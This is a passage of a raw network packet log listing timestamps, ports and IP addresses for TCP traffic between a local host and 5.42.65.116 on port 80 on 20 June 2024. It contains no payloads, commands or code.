Jun 20, 2024 06:49:10.445976973 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.446012020 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.446039915 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.446039915 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.446047068 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.446149111 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.446149111 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.446325064 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.446434975 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.446464062 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.446487904 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.446523905 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.446556091 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.446563959 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.446563959 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.446610928 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.446645021 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.446650982 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.446677923 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.446711063 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.446713924 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.446726084 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.446748972 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.446800947 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.446834087 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.446866035 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.446866035 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.446866035 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.446868896 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.446902037 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.446934938 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.446955919 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.446957111 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.446970940 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.447009087 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.447063923 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.447216988 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.447258949 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.447293043 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.447350979 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.447350979 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.447388887 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.447434902 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.447470903 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.447540998 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.447573900 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.447590113 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.447590113 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.447590113 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.447590113 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.447607994 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.447640896 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.447693110 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.447726965 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.447730064 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.447730064 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.447730064 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.447757959 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.447761059 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.447793007 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.447793007 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.447807074 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.447825909 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.447861910 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.447985888 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.447985888 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.448210001 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.448245049 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.448278904 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.448287010 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.448287010 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.448317051 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.448368073 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.448401928 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.448436022 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.448443890 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.448471069 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.448504925 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.448504925 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.448525906 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.448539019 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.448571920 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.448605061 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.448640108 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.448673010 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.448684931 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.448684931 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.448684931 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.448684931 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.448708057 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.448740959 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.448772907 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.448772907 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.448791027 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.448878050 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.449126005 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.449158907 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.449193954 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.449198961 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.449248075 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.449275017 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.449275017 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.449280977 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.449297905 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.449333906 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.449345112 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.449368954 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.449403048 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.449436903 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.449444056 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.449444056 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.449470997 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.449529886 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.449542999 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.542150974 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.542248964 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.542253017 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.542280912 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.542310953 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.542344093 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.542406082 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.542440891 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.542475939 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.542504072 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.542510033 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.542536020 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.542566061 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.542570114 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.542599916 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.542623997 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.542634964 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.542649031 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.542670012 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.542718887 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.542896986 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.542931080 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.542959929 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.542963982 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.542992115 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.542998075 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.543010950 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.543051958 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.543055058 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.543090105 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.543127060 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.543140888 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.543158054 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.543174028 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.543210983 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.543214083 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.543242931 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.543258905 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.543276072 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.543289900 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.543313026 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.543348074 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.543366909 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.543382883 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.543400049 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.543416977 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.543436050 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.543466091 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.543551922 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.543586969 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.543602943 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.543634892 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.543888092 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.543919086 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.543946028 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.543952942 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.543965101 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.543986082 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544009924 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.544042110 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.544042110 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544075966 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544095039 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.544110060 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544126034 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.544142962 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544169903 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.544189930 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.544198036 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544246912 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.544250011 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544285059 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544301033 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.544322014 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544357061 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544374943 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.544390917 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544409037 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.544425011 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544441938 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.544454098 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544476032 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.544504881 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.544512987 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544547081 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544560909 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.544583082 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544603109 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.544619083 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544645071 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.544651985 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544676065 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.544687033 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544698954 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.544720888 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544732094 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.544756889 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544770956 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.544790983 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544812918 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.544826031 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544847012 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.544857979 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544868946 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.544893026 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544926882 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544950008 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.544962883 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.544981956 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.544996023 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.545017958 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.545031071 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.545046091 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.545064926 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.545099974 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.545109034 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.545150995 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.547287941 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.547343016 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.547347069 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.547374010 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.547429085 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.547429085 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.547482967 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.547486067 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.547535896 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.547538042 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.547570944 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.547586918 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.547606945 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.547619104 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.547662020 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.547667980 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.547714949 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.547722101 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.547775984 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.547815084 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.547833920 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.547832966 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.547868013 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.547904015 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.547923088 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.547934055 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.547955036 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.547986031 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.547990084 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.548022985 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.548052073 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.548069000 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.548080921 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.548130035 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.548132896 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.548165083 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.548181057 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.548219919 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.548234940 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.548268080 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.548274040 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.548310995 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.548343897 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.548367023 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.548397064 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.548398972 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.548429966 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.548464060 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.548490047 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.548515081 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.548517942 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.548552036 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.548573971 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.548585892 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.548594952 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.548621893 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.548655033 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.548671007 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.548706055 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.548707962 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.548759937 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.548763037 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.548794985 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.548808098 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.548842907 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.548847914 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.548882961 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.548916101 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.548938990 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.548971891 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.548971891 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.549005985 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.549041033 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.549068928 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.549076080 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.549102068 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.549110889 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.549133062 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.549145937 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.549154997 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.549181938 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.549195051 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.549216032 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.549232960 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.549251080 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.549274921 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.549284935 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.549319029 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.549336910 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.549352884 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.549375057 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.549386978 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.549407959 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.549422026 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.549437046 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.549455881 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.549489975 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.549509048 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.549525023 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.549542904 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.549557924 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.549587965 CEST	49743	80	192.168.2.4	5.42.65.116
